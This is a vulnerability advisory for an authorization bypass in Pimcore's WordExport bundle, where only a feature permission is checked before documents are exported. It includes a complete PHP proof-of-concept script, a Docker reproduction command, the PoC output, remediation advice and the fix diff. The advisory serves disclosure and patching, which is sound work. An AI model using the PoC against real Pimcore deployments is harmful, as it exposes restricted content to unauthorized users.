Pimcore has a WordExport Authorization Bypass for Unauthorized Document Export
Description
Summary
The WordExport export flow only checks whether the current backend user has the feature permission word_export. It does not verify access rights on the target element itself. As a result, a low-privileged backend user can export document content even when the user does not have view permission on that document.
In the local Docker reproduction, a low-privileged user successfully exported sensitive content from a page the user was not allowed to view:
POC-WORDEXPORT-TITLEPOC-WORDEXPORT-DESC
Root
Cause
The controller only performs a feature-level permission check before starting the export flow:
- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L41)
- TranslationController.php#L44)
It then directly resolves the target element from attacker-controlled type/id input:
- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L56)
- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L58)
For document-like elements such as Page and Snippet, it renders content in an admin context:
- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L72)
- TranslationController.php
- TranslationController.php
No object-level authorization check such as isAllowed('view') is enforced on the target element.
Affected
Scope
Based on the source code, the following element types may be affected:
pagesnippetemailobject
For page-like documents, the pimcore_admin = true rendering context may expose additional backend-visible content.
Preconditions
- The attacker is an authenticated backend user
- The attacker has the
word_exportpermission - The attacker does not have
viewpermission on the target document
Reproduction
Environment
- Reproduction root:
pimcore-12.3.3-repro - Standalone PoC script: [poc_wordexport.php](pimcore-12.3.3-repro/tools/poc_wordexport.php)
<?php
declare(strict_types=1);
use Pimcore\Bundle\WordExportBundle\Controller\TranslationController as WordExportController;
use Pimcore\Controller\UserAwareController;
use Pimcore\Model\Document\Page;
use Pimcore\Model\User;
use Pimcore\Security\User\TokenStorageUserResolver;
use Pimcore\Security\User\User as SecurityUser;
use Pimcore\Serializer\Serializer as PimcoreSerializer;
use Pimcore\Tool\Authentication;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\Filesystem\Filesystem;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\RequestStack;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;
require dirname(__DIR__) . '/vendor/autoload.php';
define('PIMCORE_PROJECT_ROOT', dirname(__DIR__));
try {
\Pimcore\Bootstrap::bootstrap();
$kernel = new \App\Kernel('dev', true);
\Pimcore::setKernel($kernel);
$kernel->boot();
$container = $kernel->getContainer();
/** @var RequestStack $requestStack */
$requestStack = getService($container, [
RequestStack::class,
'request_stack',
]);
$admin = User::getByName('admin');
if (!$admin instanceof User) {
fail('admin user is missing');
}
$auditor = User::getByName('auditor_wordexport');
if (!$auditor instanceof User) {
$auditor = new User();
$auditor->setParentId(0);
$auditor->setName('auditor_wordexport');
}
$auditor->setAdmin(false);
$auditor->setActive(true);
$auditor->setPassword(Authentication::getPasswordHash('auditor_wordexport', 'auditor-pass'));
$auditor->setPermissions(['word_export']);
$auditor->setRoles([]);
$auditor->setWorkspacesDocument([]);
$auditor->setWorkspacesAsset([]);
$auditor->setWorkspacesObject([]);
$auditor->save();
$page = Page::getByPath('/poc-wordexport-secret-page');
if (!$page instanceof Page) {
$page = new Page();
$page->setParentId(1);
$page->setKey('poc-wordexport-secret-page');
}
$page->setPublished(true);
$page->setController('App\\Controller\\DefaultController::defaultAction');
$page->setTemplate('default/default.html.twig');
$page->setTitle('POC-WORDEXPORT-TITLE');
$page->setDescription('POC-WORDEXPORT-DESC');
$page->setProperty('language', 'text', 'en', false, true);
$page->setUserOwner($admin->getId());
$page->setUserModification($admin->getId());
$page->save();
$canViewPage = $page->getDao()->isAllowed('view', $auditor);
$tokenResolver = buildTokenResolver($auditor);
$controller = wireController(new WordExportController(), $container, $tokenResolver);
$exportId = 'wordexportpoc1';
$exportRequest = new Request([], [
'id' => $exportId,
'data' => json_encode([
['type' => 'document', 'id' => $page->getId()],
], JSON_THROW_ON_ERROR),
'source' => 'en',
]);
$requestStack->push($exportRequest);
$controller->wordExportAction($exportRequest, new Filesystem());
$requestStack->pop();
$downloadRequest = new Request(['id' => $exportId]);
$requestStack->push($downloadRequest);
$downloadResponse = $controller->wordExportDownloadAction($downloadRequest);
$requestStack->pop();
$wordContent = (string) $downloadResponse->getContent();
echo json_encode([
'vulnerability' => 'wordexport_authorization_bypass',
'user' => [
'id' => $auditor->getId(),
'name' => $auditor->getName(),
'permissions' => $auditor->getPermissions(),
],
'target_page' => [
'id' => $page->getId(),
'path' => $page->getFullPath(),
'title' => $page->getTitle(),
'description' => $page->getDescription(),
'user_can_view_page' => $canViewPage,
],
'result' => [
'download_contains_title' => str_contains($wordContent, 'POC-WORDEXPORT-TITLE'),
'download_contains_description' => str_contains($wordContent, 'POC-WORDEXPORT-DESC'),
],
], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;
} catch (Throwable $e) {
fail(sprintf(
'%s: %s in %s:%d%s',
$e::class,
$e->getMessage(),
$e->getFile(),
$e->getLine(),
$e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''
));
}
function wireController(
UserAwareController $controller,
ContainerInterface $container,
TokenStorageUserResolver $tokenResolver
): UserAwareController
{
$controller->setContainer($container);
$controller->setTokenResolver($tokenResolver);
if (method_exists($controller, 'setPimcoreSerializer')) {
/** @var PimcoreSerializer $serializer */
$serializer = getService($container, [
PimcoreSerializer::class,
'Pimcore\\Serializer\\Serializer',
]);
$controller->setPimcoreSerializer($serializer);
}
return $controller;
}
function buildTokenResolver(User $user): TokenStorageUserResolver
{
$tokenStorage = new TokenStorage();
$proxyUser = new SecurityUser($user);
$token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());
$tokenStorage->setToken($token);
return new TokenStorageUserResolver($tokenStorage);
}
function getService(ContainerInterface $container, array $ids): mixed
{
foreach ($ids as $id) {
try {
if ($container->has($id)) {
return $container->get($id);
}
} catch (Throwable) {
}
}
fail('Unable to resolve service: ' . implode(', ', $ids));
}
function fail(string $message): never
{
fwrite(STDERR, $message . PHP_EOL);
exit(1);
}
Reproduction
Steps
1. Create a low-privileged user named auditor_wordexport with only the word_export permission and no document workspace permissions. 2. Create a test page at /poc-wordexport-secret-page containing sensitive values: - title = POC-WORDEXPORT-TITLE - description = POC-WORDEXPORT-DESC 3. Verify that the user does not have view permission on that page. 4. Execute wordExportAction() and wordExportDownloadAction() as that user. 5. Check whether the exported HTML contains the sensitive values.
Reproduction command:
cd pimcore-12.3.3-repro
docker compose exec -T php php tools/poc_wordexport.php
Reproduction
Result
Relevant PoC output:
{
"vulnerability": "wordexport_authorization_bypass",
"user": {
"name": "auditor_wordexport",
"permissions": [
"word_export"
]
},
"target_page": {
"path": "/poc-wordexport-secret-page",
"title": "POC-WORDEXPORT-TITLE",
"description": "POC-WORDEXPORT-DESC",
"user_can_view_page": false
},
"result": {
"download_contains_title": true,
"download_contains_description": true
}
}
This shows that:
- The user cannot view the target page
- The exported file still contains the page's sensitive content
This confirms that the issue is practically exploitable.
Security
Impact
- Unauthorized disclosure of structured page fields
- Unauthorized export of restricted backend content
- Potential exposure of unpublished or otherwise restricted content
- Lateral data access by low-privileged backend accounts
Remediation
- Perform object-level authorization immediately after resolving the element from
type/id. - Require at least
viewpermission on the target element. - Apply consistent authorization checks across
page,snippet,email, andobject. - Bind export creation and export download to the requesting user or an equivalent authorization context.
- Add regression tests to ensure that users with
word_exportbut without elementviewpermission cannot export content.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
WordExport bundle in Pimcore fails to check view permissions on target documents, allowing low-privileged users to export sensitive content.
Vulnerability
The WordExport export flow in Pimcore's WordExportBundle only checks whether the current backend user has the feature permission word_export. It does not verify access rights on the target element itself. The controller TranslationController resolves the element from attacker-controlled type and id parameters without calling isAllowed('view') [1][2]. For document-like elements such as Page and Snippet, content is rendered in an admin context (pimcore_admin = true), potentially exposing backend-visible data. Affected versions are those prior to the fix in commit 0ce2232 [4].
Exploitation
An attacker needs a low-privileged backend user account that has the word_export feature permission. The attacker can craft a request to the word export endpoint with arbitrary type and id parameters pointing to a document they are not allowed to view. The controller will export the document content without performing an object-level authorization check [1][2]. In a local Docker reproduction, a low-privileged user successfully exported sensitive content from a page they were not permitted to view, including POC-WORDEXPORT-TITLE and POC-WORDEXPORT-DESC [1].
Impact
The attacker gains unauthorized access to document content, including titles, descriptions, and other backend-visible information. This is an information disclosure vulnerability that compromises the confidentiality of restricted documents. The admin rendering context may expose additional sensitive data that would not be visible to the user through normal UI interactions [1][2].
Mitigation
The fix is implemented in commit 0ce2232 (PR #19112), which adds a permission check $element->isAllowed('view') before exporting [4]. Users should update to a version containing this fix. If immediate update is not possible, consider disabling the WordExport bundle or restricting the word_export feature permission to trusted users only. No workaround is provided in the available references.
AI Insight generated on May 27, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
pimcore/pimcorePackagist | < 12.3.7 | 12.3.7 |
Affected products
2Patches
10ce2232b6f92[Security]: Add permission check for view access in Word Export TranslationController (#19112)
1 file changed · +8 −7
bundles/WordExportBundle/src/Controller/TranslationController.php+8 −7 modified@@ -58,16 +58,17 @@ public function wordExportAction(Request $request, Filesystem $filesystem): Json $element = \Pimcore\Model\Element\Service::getElementById($el['type'], $el['id']); $output = ''; - // check supported types (subtypes) - if (!in_array($element->getType(), ['page', 'snippet', 'email', 'object'])) { + // check supported types (subtypes) and if user has view permission + if ( + !in_array($element?->getType(), ['page', 'snippet', 'email', 'object'], true) || + !$element->isAllowed('view') + ) { continue; } - if ($element instanceof ElementInterface) { - $output .= '<h1 class="element-headline">' . ucfirst( - $element->getType() - ) . ' - ' . $element->getRealFullPath() . ' (ID: ' . $element->getId() . ')</h1>'; - } + $output .= '<h1 class="element-headline">' . ucfirst( + $element->getType() + ) . ' - ' . $element->getRealFullPath() . ' (ID: ' . $element->getId() . ')</h1>'; if ($element instanceof PageSnippet) { if ($element instanceof Page) {
Vulnerability mechanics
Root cause
"Missing object-level authorization check — the controller only verifies the feature permission `word_export` but never calls `isAllowed('view')` on the target element before exporting its content."
Attack vector
An authenticated backend user who holds the `word_export` feature permission but lacks `view` permission on a target document can exploit this by sending a crafted request to `wordExportAction` with the target element's type and ID [ref_id=1][ref_id=2]. The controller resolves the element and renders its content in an admin context (`pimcore_admin = true`) without calling `isAllowed('view')`, so the exported Word document includes sensitive fields such as title and description that the user should not be able to access [ref_id=1]. The attacker then retrieves the generated export via `wordExportDownloadAction`.
Affected code
The vulnerable code is in `bundles/WordExportBundle/src/Controller/TranslationController.php` within the `wordExportAction` method. The controller resolves the target element from attacker-controlled `type`/`id` input via `\Pimcore\Model\Element\Service::getElementById()` and then checks only the element's subtype (e.g. `page`, `snippet`) without verifying the current user's `view` permission on that element [ref_id=1][ref_id=2].
What the fix does
The patch in commit `0ce2232b6f92c79d0ac244e95e21f55c37456ef1` modifies the condition in `wordExportAction` to add `!$element->isAllowed('view')` alongside the existing subtype check [patch_id=2792871][ref_id=3]. If the current user does not have `view` permission on the element, the element is skipped via `continue`, preventing unauthorized export. The patch also uses the nullsafe operator `$element?->getType()` to safely handle cases where `getElementById` returns null [patch_id=2792871].
Preconditions
- authAttacker must be an authenticated backend user of the Pimcore application
- configAttacker must have the word_export feature permission assigned to their user account
- configAttacker must not have view permission on the target document element
- inputAttacker must know or be able to guess the type and ID of the target element
Reproduction
1. Create a low-privileged backend user named `auditor_wordexport` with only the `word_export` permission and no document workspace permissions. 2. Create a test page at `/poc-wordexport-secret-page` containing sensitive values (e.g. `title = POC-WORDEXPORT-TITLE`, `description = POC-WORDEXPORT-DESC`). 3. Verify that the user does not have `view` permission on that page. 4. Execute `wordExportAction()` and `wordExportDownloadAction()` as that user using the PoC script at `pimcore-12.3.3-repro/tools/poc_wordexport.php`. 5. Check whether the exported HTML contains the sensitive values. Reproduction command: `cd pimcore-12.3.3-repro && docker compose exec -T php php tools/poc_wordexport.php` [ref_id=1][ref_id=2].
Generated on May 27, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
5- github.com/advisories/GHSA-332x-r494-54fqghsaADVISORY
- github.com/pimcore/pimcore/commit/0ce2232b6f92c79d0ac244e95e21f55c37456ef1ghsaWEB
- github.com/pimcore/pimcore/pull/19112ghsaWEB
- github.com/pimcore/pimcore/releases/tag/v12.3.7ghsaWEB
- github.com/pimcore/pimcore/security/advisories/GHSA-332x-r494-54fqghsaWEB
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